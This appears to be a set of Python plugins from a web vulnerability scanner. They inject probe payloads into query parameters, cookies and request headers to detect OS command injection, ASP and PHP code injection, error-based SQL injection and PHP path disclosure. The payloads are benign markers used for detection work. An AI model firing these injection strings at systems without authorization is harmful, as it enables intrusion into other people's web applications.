def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc if method == 'GET': if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return randint = random.randint(1000, 9000) url_flag = { "set|set&set": [ 'Path=[\s\S]*?PWD=', 'Path=[\s\S]*?PATHEXT=', 'Path=[\s\S]*?SHELL=', 'Path\x3d[\s\S]*?PWD\x3d', 'Path\x3d[\s\S]*?PATHEXT\x3d', 'Path\x3d[\s\S]*?SHELL\x3d', 'SERVER_SIGNATURE=[\s\S]*?SERVER_SOFTWARE=', 'SERVER_SIGNATURE\x3d[\s\S]*?SERVER_SOFTWARE\x3d', 'Non-authoritative\sanswer:\s+Name:\s*', 'Server:\s*.*?\nAddress:\s*' ], "echo `echo 6162983|base64`6162983".format(randint): ["NjE2Mjk4Mwo=6162983"] } if not self.response.system or self.response.system == "WINDOWS": del url_flag["echo `echo 6162983|base64`6162983".format( randint)] for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) for spli in ['', ';']: for flag, re_list in url_flag.items(): if spli == "": data[k] = flag else: data[k] = v + spli + flag url1 = prepare_url(netloc, params=data) r = requests.get(url1, headers=headers) html1 = r.text for rule in re_list: if re.search(rule, html1, re.I | re.S | re.M): out.success(url, self.name, payload="{}:{}".format(k, data[k]), raw=r.raw) break
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc if self.response.language and self.response.language != "ASP": return if method == 'GET': if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return randint1 = random.randint(10000, 90000) randint2 = random.randint(10000, 90000) randint3 = randint1 * randint2 payloads = [ 'response.write({}*{})'.format(randint1, randint2), '\'+response.write({}*{})+\''.format(randint1, randint2), '"response.write({}*{})+"'.format(randint1, randint2), ] for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) for payload in payloads: if payload[0] == "": data[k] = payload else: data[k] = v + payload url1 = prepare_url(netloc, params=data) r = requests.get(url1, headers=headers) html1 = r.text if str(randint3) in html1: out.success(url, self.name, payload="{}:{}".format(k, data[k]), raw=r.raw) break
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return if self.response.language and self.response.language != "PHP": return if "Warning" in resp_str and "array given" in resp_str: out.success(url, self.name) for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) del data[k] data[k + "[]"] = v try: _ = prepare_url(netloc, params=data) r = requests.get(_, headers=headers) if "Warning" in r.text and "array given" in r.text: path = get_middle_text(r.text, 'array given in ', ' on line') out.success(_, self.name, path=path, raw=r.raw) except: pass
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc # cookie exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return origin_len = len(resp_str) sql_flag = '鎈\'"\(' if headers and "cookie" in headers: cookies = paramToDict(headers["cookie"], place=PLACE.COOKIE) tmp_headers = copy.deepcopy(headers) del tmp_headers["cookie"] if cookies: for k, v in cookies.items(): cookie = copy.deepcopy(cookies) cookie[k] = v + sql_flag r = requests.get(url, headers=tmp_headers, cookies=urlencode(cookie)) if origin_len == len(r.text): continue for sql_regex, dbms_type in Get_sql_errors(): match = sql_regex.search(r.text) if match: out.success(url, self.name, payload="cookie: {}={}".format( k, cookie[k]), dbms_type=dbms_type, raw=r.raw) break if method == 'GET': if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) data[k] = v + sql_flag url1 = prepare_url(netloc, params=data) r = requests.get(url1, headers=headers) html = r.text for sql_regex, dbms_type in Get_sql_errors(): match = sql_regex.search(html) if match: out.success(url, self.name, payload="{}={}".format(k, data[k]), dbms_type=dbms_type, raw=r.raw, errinfo=match.group()) break # test header if headers: sql_flag = '\'"\(' new_headers = { "user-agent": headers.get("User-Agent", "") + sql_flag, # "referer": headers.get("referer", url) + sql_flag, "x-forwarded-for": headers.get("x-forwarded-for", "127.0.0.1") + sql_flag, "via": headers.get("via", "") + sql_flag } headers.update(new_headers) r = requests.get(url, headers=headers) html = r.text if origin_len == len(html): return for sql_regex, dbms_type in Get_sql_errors(): match = sql_regex.search(html) if match: out.success(url, self.name, type="header inject", dbms_type=dbms_type, raw=r.raw, errinfo=match.group()) break
def audit(self): method = self.requests.command # 请求方式 GET or POST headers = self.requests.get_headers() # 请求头 dict类型 url = self.build_url() # 请求完整URL resp_data = self.response.get_body_data() # 返回数据 byte类型 resp_str = self.response.get_body_str() # 返回数据 str类型 自动解码 resp_headers = self.response.get_headers() # 返回头 dict类型 p = self.requests.urlparse params = self.requests.params netloc = self.requests.netloc regx = 'Parse error: syntax error,.*?\sin\s' randint = random.randint(5120, 10240) verify_result = md5(str(randint).encode()) payloads = [ "print(md5({}));", ";print(md5({}));", "';print(md5({}));$a='", "\";print(md5({}));$a=\"", "${{@print(md5({}))}}", "${{@print(md5({}))}}\\", "'.print(md5({})).'" ] if not self.response.language or self.response.language != "PHP": return if headers and "cookie" in headers: cookies = paramToDict(headers["cookie"], place=PLACE.COOKIE) tmp_header = copy.deepcopy(headers) del tmp_header["cookie"] if cookies: for k, v in cookies.items(): cookie = copy.deepcopy(cookies) for payload in payloads: if payload[0] == "p": cookie[k] = payload.format(randint) else: cookie[k] = v + payload.format(randint) r = requests.get(url, headers=tmp_header, cookies=cookie) html1 = r.text if verify_result in html1: out.success(url, self.name, type="Cookie", payload="{}:{}".format(k, cookie[k]), raw=r.raw) break if re.search(regx, html1, re.I | re.S | re.M): out.success(url, self.name, type="Cookie", payload="{}:{}".format(k, cookie[k]), raw=r.raw) break if method == 'GET': # cookie if p.query == '': return exi = os.path.splitext(p.path)[1] if exi not in acceptedExt: return for k, v in params.items(): if k.lower() in ignoreParams: continue data = copy.deepcopy(params) for payload in payloads: if payload[0] == "p": data[k] = payload.format(randint) else: data[k] = v + payload.format(randint) url1 = prepare_url(netloc, params=data) r = requests.get(url1, headers=headers) html1 = r.text if verify_result in html1: out.success(url, self.name, payload="{}:{}".format(k, data[k]), raw=r.raw) break if re.search(regx, html1, re.I | re.S | re.M): out.success(url, self.name, payload="{}:{}".format(k, data[k]), raw=r.raw) break